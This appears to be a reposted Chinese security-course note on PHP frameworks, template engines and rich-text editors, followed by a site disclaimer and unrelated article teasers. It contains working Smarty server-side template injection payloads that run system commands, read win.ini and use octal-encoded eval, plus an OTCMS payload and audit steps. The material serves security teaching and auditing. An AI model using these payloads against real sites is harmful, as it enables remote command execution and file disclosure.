第30天:Web开发-PHP应用组件框架前端模版渲染三方插件富文本编辑器CVE审计

#知识点

1、安全开发-原生PHP-开发组件集合

2、安全开发-原生PHP-模版引擎渲染

3、安全开发-原生PHP-第三方编辑器

组件/框架

说明

[Web框架]

Laravel

现代化、功能全面的框架,适合大多数Web应用。

Symfony

高度模块化、功能强大的框架,适合复杂应用。

CodeIgniter

轻量级框架,适合快速开发。

Zend Framework (Laminas)

企业级框架,适合大规模应用,具有高扩展性和性能。

Yii

高性能框架,适合快速开发和大规模应用。

[数据库组件]

Doctrine ORM

强大的ORM工具,支持复杂的查询和映射。

Eloquent ORM

Laravel内置ORM,简化数据库操作。

PDO

PHP的数据库抽象层,支持多种数据库引擎。

RedBeanPHP

轻量级ORM,自动创建和管理数据库表。

[模板引擎]

Twig

灵活、现代的模板引擎,常用于Symfony项目。

Blade

Laravel内置模板引擎,支持模板继承和控制结构。

Smarty

经典模板引擎,适合中大型项目。

Mustache

轻量级跨语言模板引擎,支持PHP、JavaScript等。

[路由组件]

FastRoute

高性能PHP路由库,适用于小型应用和API。

AltoRouter

轻量级路由库,适合小型项目,易于配置。

Symfony Routing

Symfony的路由组件,适合复杂应用。

[认证与授权]

OAuth2 Server PHP

实现OAuth2协议的PHP库,适用于API认证。

JWT (JSON Web Token)

轻量级身份验证方案,适合API认证。

PHP-Auth

简单的用户认证库,适用于中小型Web应用。

[支付集成]

Stripe PHP SDK

集成Stripe支付功能,支持信用卡支付、订阅等。

PayPal SDK for PHP

集成PayPal支付功能,支持支付、退款等。

[邮件发送]

PHPMailer

功能强大的邮件发送库,支持SMTP、POP3等协议。

SwiftMailer

另一款流行的邮件发送库,支持多种邮件功能。

Mailgun PHP SDK

Mailgun的官方SDK,用于通过Mailgun API发送邮件。

[文件管理]

Flysystem

文件存储抽象库,支持多种存储方式(如本地、Amazon S3、FTP等)。

Symfony Filesystem

Symfony的文件系统组件,提供简单的文件操作API。

Intervention Image

图片处理库,支持裁剪、调整大小、水印等功能。

[缓存与性能]

Redis

内存数据存储系统,用于缓存、消息队列等,提升性能。

Memcached

内存缓存系统,适用于高并发应用。

Symfony Cache

Symfony缓存组件,支持多种缓存后端。

Laravel Cache

Laravel内置缓存系统,提升Web应用性能。

[日志管理]

Monolog

强大的日志库,支持多种日志渠道(如文件、数据库、邮件等)。

Log4PHP

Apache Log4j的PHP实现,适用于复杂日志功能。

[任务队列]

Laravel Queue

Laravel内置队列系统,支持延迟任务、异步处理。

Resque

基于Redis的任务队列库,适用于异步任务处理。

RabbitMQ

开源消息代理服务,用于任务调度和消息传递。

[WebSocket与实时通信]

Ratchet

用于实现WebSocket服务,适合在线聊天、实时通信。

Swoole

高性能协程框架,支持WebSocket、TCP、UDP等协议,适用于高并发实时应用。

[测试与调试]

PHPUnit

PHP标准单元测试框架,广泛用于自动化测试。

Xdebug

PHP调试工具,支持堆栈跟踪、性能分析、断点调试等功能。

[富文本编辑器]

KindEditor

一个轻量级且功能丰富的富文本编辑器,支持图片上传、插入视频等,适用于PHP开发的Web项目。

TinyMCE

开源的富文本编辑器,支持多种格式的文本编辑,插件丰富,易于集成。

CKEditor

高度可定制的富文本编辑器,支持图片、文件上传、富文本格式化等功能,广泛用于Web项目中。

Froala Editor

轻量级、现代的富文本编辑器,支持图像处理、视频嵌入、内嵌富文本等,适合复杂的Web应用。

Quill

开源富文本编辑器,功能强大、轻量级,支持图片、视频、格式设置等功能,适合单页面应用。

Summernote

基于jQuery的轻量级富文本编辑器,支持文本格式化、图片上传等,适合中小型Web项目。

Trumbowyg

轻量级的富文本编辑器,功能简单但支持基本的文本编辑、图片上传、视频插入等。

Redactor

现代的富文本编辑器,功能丰富,支持图片、文件上传等,适合多种Web应用。

[图片上传组件]

Dropzone.js

支持拖拽上传和多文件上传的JavaScript库,易于与PHP集成,常用于图片、文件上传功能。

FilePond

高度可定制的文件上传库,支持图片预览、验证、上传进度等,适合需要精美上传功能的Web项目。

Fine Uploader

支持多种文件上传方式的组件,支持多文件上传、拖拽上传,支持PHP处理后台。

Plupload

支持多种文件上传方式(包括HTML5和Flash),可以与PHP后台集成,广泛用于Web应用中。

[图片处理组件]

ImageMagick

强大的图像处理库,支持图像格式转换、剪裁、旋转、加水印等多种功能,适用于PHP处理图像。

GD Library

PHP内置图像处理库,支持图像创建、缩放、裁剪、色调调整等功能。

Intervention Image

PHP图像处理库,支持裁剪、缩放、加水印等,易于与Laravel集成。

一、模版引擎

1、模板引擎:

是为了让前端界(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是html文件里再也不用写php代码了。Smarty的原理是变量替换原则,我们只需在html文件写好Smarty的标签即可,例{name},然后调用Smarty的方法传递变量参数即可。在页面渲染的时候,可以通过变量统一修改不同界面的显示;

2、模版使用案例:

Php模版框架:Smarty、Twig,codeeval等

python模版框架:jinja2、mako、tornad、Django等

Java模版框架:Thymeleaf、jade、velocity、FreeMarker等

JavaScript模版框架:doT,Nunjucks,Pug,Marko,EJS,Dust等

3、安全漏洞影响:

SSTI(Server Side Template Injection,服务器端模板注入)

4、Smarty模板引擎漏洞实验

下载:https://github.com/smarty-php/smarty/releases

使用:

①创建一个文件夹,命名为30 php framwork

②下载Smarty对应版本并解压缩到该文件夹中。

③创建一个PHP文件,命名为demo.php,并在文件中添加以下代码:

<?php

// 引入 Smarty 类文件

require('smarty3/libs/Smarty.class.php');

// 创建 Smarty 实例

$smarty = new Smarty;

// 设置 Smarty 相关属性

$smarty->template_dir = 'smarty3/templates/';

$smarty->compile_dir = 'smarty3/templates_c/';

$smarty->cache_dir = 'smarty3/cache/';

$smarty->config_dir = 'smarty3/configs/';

// 赋值变量到模板中

$smarty->assign('title', '欢迎使用 Smarty');

// 显示模板

$smarty->display('index.tpl');

?>

④在smarty3/templates目录下,创建一个名为index.tpl(index.tpl与index.html功能类似,都是用来在前端展示)的模板文件,并将以下代码复制到上述点定义文件夹中

<!DOCTYPE html>

<html>

<head>

<title>{$title}</title>

</head>

<body>

<h1>{$title}</h1>

<p>这是一个使用 Smarty 的例子。</p>

</body>

</html>

POC:?page=string:{function name='x(){};system(whoami);function '}{/function}

漏洞出现的原因:url存在可控变量page,可以构造执行POC

smarty的模板引擎,最后显示的还是以编译(compile)文件夹下的内容为主,所以POC的执行结果才会显示出来

5、渲染文件受控

①CVE参考:

https://xz.aliyun.com/t/11108

https://www.cnblogs.com/magic-zero/p/8351974.html

②cve漏洞利用poc->不同版本smarty利用成功度不一样:

*/phpinfo();//

string:{include file='C:/Windows/win.ini'}

string:{function name='x(){};system(whoami);function '}{/function}

string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}

eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}

③白盒代码审计的思路:

判断是否使用smarty模版引擎 ->smarty版本存在已知的CVE漏洞 ->可控的渲染文件或变量(漏洞利用的关键点 )

④黑盒渗透测试的思路:

通过指纹识别、php+功能点判断是否使用了smarty模板引擎 +或者url路径显示x.php?page= url= index.tpl index.html->出版判断可能用到了smarty->如果无法明确smarty版本->对存在已知的CVE漏洞,一个个POC测试

二、插件组件

编辑器、邮箱,图片处理等(见上图)

使用:ueditor编辑器存在漏洞

https://www.cnblogs.com/qq350760546/p/6669112.html

参考:https://www.cnblogs.com/linglinglingling/p/18040866

https://blog.csdn.net/weixin_58099903/article/details/125810825

三、案例:

代码审CMS:(由第三方框架/组件应用引用导致安全问题)

1、网钛(OTCMS漏洞):

https://xz.aliyun.com/t/13432  */SSTI(Server Side Template Injection,服务器端模板注入)

POC:{otcms:$smarty.template_object->smarty->_getSmartyObj()->display('string:{otcms:system(calc)}')}->此漏洞有些鸡肋,需要先admin登录进去,才可以修改模板,从而执行POC命令

漏洞点代码:

2、Kindeditor编辑器漏洞

原理:phpyuncms->使用了kindeditor编辑器->该编辑器存在漏洞->发现文件上传漏洞

https://www.cnblogs.com/TaoLeonis/p/14899198.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/66436.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

with as提高sql的执行效率

实战sql with cte(UNIT_ID, UNIT_NAME, PARENT_UNIT_ID, UNIT_CODE ) as (select UNIT_ID, UNIT_NAME, PARENT_UNIT_ID , UNIT_CODEfrom HPFM_UNITunion allselect t.UNIT_ID, t.UNIT_NAME, t.PARENT_UNIT_ID, t.UNIT_CODEfrom HPFM_UNIT tjoin cte on t.PARENT_UNIT_ID cte.U…

计算机网络 (29)网络地址转换NAT

前言 网络地址转换&#xff08;Network Address Translation&#xff0c;NAT&#xff09;是计算机网络中的一种重要协议&#xff0c;它主要用于将私有IP地址转换为公共IP地址&#xff0c;以实现内部网络与外部网络之间的通信。 一、基本概念 NAT是一种在局域网&#xff08;LAN&…

Docker--Docker Volume(存储卷)

什么是存储卷&#xff1f; Docker的存储卷是一种将宿主机的本地文件系统中的某个目录与容器内部的文件系统中的某个目录建立绑定关系的机制。这种绑定关系意味着&#xff0c;当在容器的这个目录下写入数据时&#xff0c;会同步到宿主机的这个目录中&#xff1b;同样&#xff0…

STM32裸机开发转FreeRTOS教程

目录 1. 简介2. RTOS设置&#xff08;1&#xff09;分配内存&#xff08;2&#xff09;查看任务剩余空间&#xff08;3&#xff09;使用osDelay 3. 队列的使用&#xff08;1&#xff09;创建队列&#xff08;1&#xff09;直接传值和指针传值&#xff08;2&#xff09;发送/接收…

用豆包MarsCode IDE打造精美数据大屏:从零开始的指南

原标题&#xff1a;用豆包MarsCode IDE&#xff0c;从0到1画出精美数据大屏&#xff01; 豆包MarsCode IDE 是一个云端 AI IDE 平台&#xff0c;通过内置的 AI 编程助手&#xff0c;开箱即用的开发环境&#xff0c;可以帮助开发者更专注于各类项目的开发。 作为一名前端开发工…

PCB原理图的编译设置

设置步骤&#xff1a; 进入-->Project Options...&#xff0c;对照设置“致命错误”部分来设置即可

LInux单机安装Redis

1. 安装gee工具包 由于Redis是基于c语言编写的所以安装的时候需要先安装gee以及gcc的依赖,yum云用不了可以看一下这个 linux 替换yum源镜像_更换yum镜像源-CSDN博客 yum install -y gcc tcl 2. 添加redis的压缩包 3. 上传到Linux 上传到 /usr/local/src 目录、这个目录一般用于…

黄仁勋演讲总结(2种显卡,1个开源大模型,1个数据采集平台)

研发算力显卡RTX50系列&#xff0c;PC端显卡GB10&#xff0c;开源大模型Cosmos&#xff08;用于机器人和自动驾驶&#xff09;&#xff0c; Isaac GR00T&#xff08;人形机器人的数据采集平台&#xff09;。 新一代 RTX 50 系列显卡 RTX 50 系列 GPU&#xff0c;相对之前系列&a…

初学Linux电源管理

学习文档出处&#xff1a; 万字整理 | 深入理解Linux电源管理&#xff1a;万字整理 | 深入理解Linux电源管理-CSDN博客 电源管理 因为设备需要用电&#xff0c;而且设备中的各个硬件所需要的电压是不一样的。故计算机需要对硬件的电源状态管理。但是电能并不是免费的&#x…

基于开发/发布/缺陷分离模型的 Git 分支管理实践20250103

基于开发/发布/缺陷分离模型的 Git 分支管理实践 引言 在现代软件开发中&#xff0c;合理的分支管理策略是保证项目成功的关键因素之一。本文将详细介绍一种基于开发/发布/缺陷分离的 Git 分支管理模型&#xff0c;这种模型不仅能提升团队协作效率&#xff0c;还能确保代码质…

数据库回滚:大祸临头时

原文地址 什么是数据库回滚&#xff1f; 数据库技术中&#xff0c;回滚是通过撤销对数据库所做的一项或多项更改&#xff0c;将数据库返回到先前状态的操作。它是维护数据完整性和从错误中恢复的重要机制。 什么时候需要数据库回滚&#xff1f; 数据库回滚在以下几个场景中很…

1月7日星期二今日早报简报微语报早读

1月7日星期二&#xff0c;农历腊月初八&#xff0c;早报#微语早读。 1、公安部&#xff1a;已为一线民警配备执法记录仪130万余部&#xff0c;规范现场执法&#xff1b; 2、浙江提出2035年全省域基本实现共同富裕&#xff1b; 3、“汕头牛肉丸”有新标准&#xff01;1月6日起…

数据结构:时间复杂度和空间复杂度

我们知道代码和代码之间算法的不同&#xff0c;一定影响了代码的执行效率&#xff0c;那么我们该如何评判算法的好坏呢&#xff1f;这就涉及到了我们算法效率的分析了。 &#x1f4d6;一、算法效率 所谓算法效率的分析分为两种&#xff1a;第一种时间效率&#xff0c;又称时间…

Clisoft SOS设置Workarea

Clisoft SOS设置Workarea 本人也是刚刚接触这个软件&#xff0c;可能有些方面不够完善&#xff0c;欢迎大佬指点。 这里就不演示创建创建Server和Project&#xff0c;可以参考Clisoft SOS设置Server和Project 创建Workarea 创建好目录并设置好权限 # 创建组 [bhlumaster ~]$…

安徽省乡镇界面图层+arcgis数据shp格式-乡镇名称和编码2020年+wgs84坐标内容测评

最新安徽省乡镇界面图层arcgis数据shp格式-乡镇名称和编码2020年wgs84坐标无偏移

LabVIEW软件Bug的定义与修改

在LabVIEW软件开发过程中&#xff0c;bug&#xff08;程序错误或缺陷&#xff09;指的是程序中导致不符合预期行为的任何问题。Bug可能是由于编码错误、逻辑漏洞、硬件兼容性问题、系统资源限制等因素引起的。它可能会导致程序崩溃、功能无法正常执行或输出结果不符合预期。理解…

WebRTC 在视频联网平台中的应用:开启实时通信新篇章

在当今这个以数字化为显著特征的时代浪潮之下&#xff0c;实时通信已然稳稳扎根于人们生活与工作的方方面面&#xff0c;成为了其中不可或缺的关键一环。回首日常生活&#xff0c;远程办公场景中的视频会议让分散各地的团队成员能够跨越地理距离的鸿沟&#xff0c;齐聚一堂共商…

oracle位运算、左移右移、标签算法等

文章目录 oracle基础函数创建bitor(按位或)函数bitnot(按位非)函数bitxor(按位异或)函数左移函数BITSHIFT()函数(实测不可用&#xff0c;废弃掉该方案)右移函数(略&#xff0c;有此场景吗?) 实际应用资质字典增删改查分别对应什么操作新增对应操作查询对应的操作修改删除(正向…

【银河麒麟高级服务器操作系统实例】tcp半链接数溢出分析及处理全过程

了解更多银河麒麟操作系统全新产品&#xff0c;请点击访问 麒麟软件产品专区&#xff1a;https://product.kylinos.cn 开发者专区&#xff1a;https://developer.kylinos.cn 文档中心&#xff1a;https://document.kylinos.cn 服务器环境以及配置 系统环境 物理机/虚拟机/云…

[文献精汇]使用PyCaret预测 Apple 股价

2024年专题 量化专题 共计 102 篇 涵盖量化框架、数据篇、风险与收益、策略篇、多因子模型、编程篇、图形篇、机器学习、Backtrader等主题&#xff0c;全方面了解量化领域知识。机器学习共计29篇 涵盖机器学习基本介绍、监督学习、集成算法、无监督学习以及机器学习实战。研报…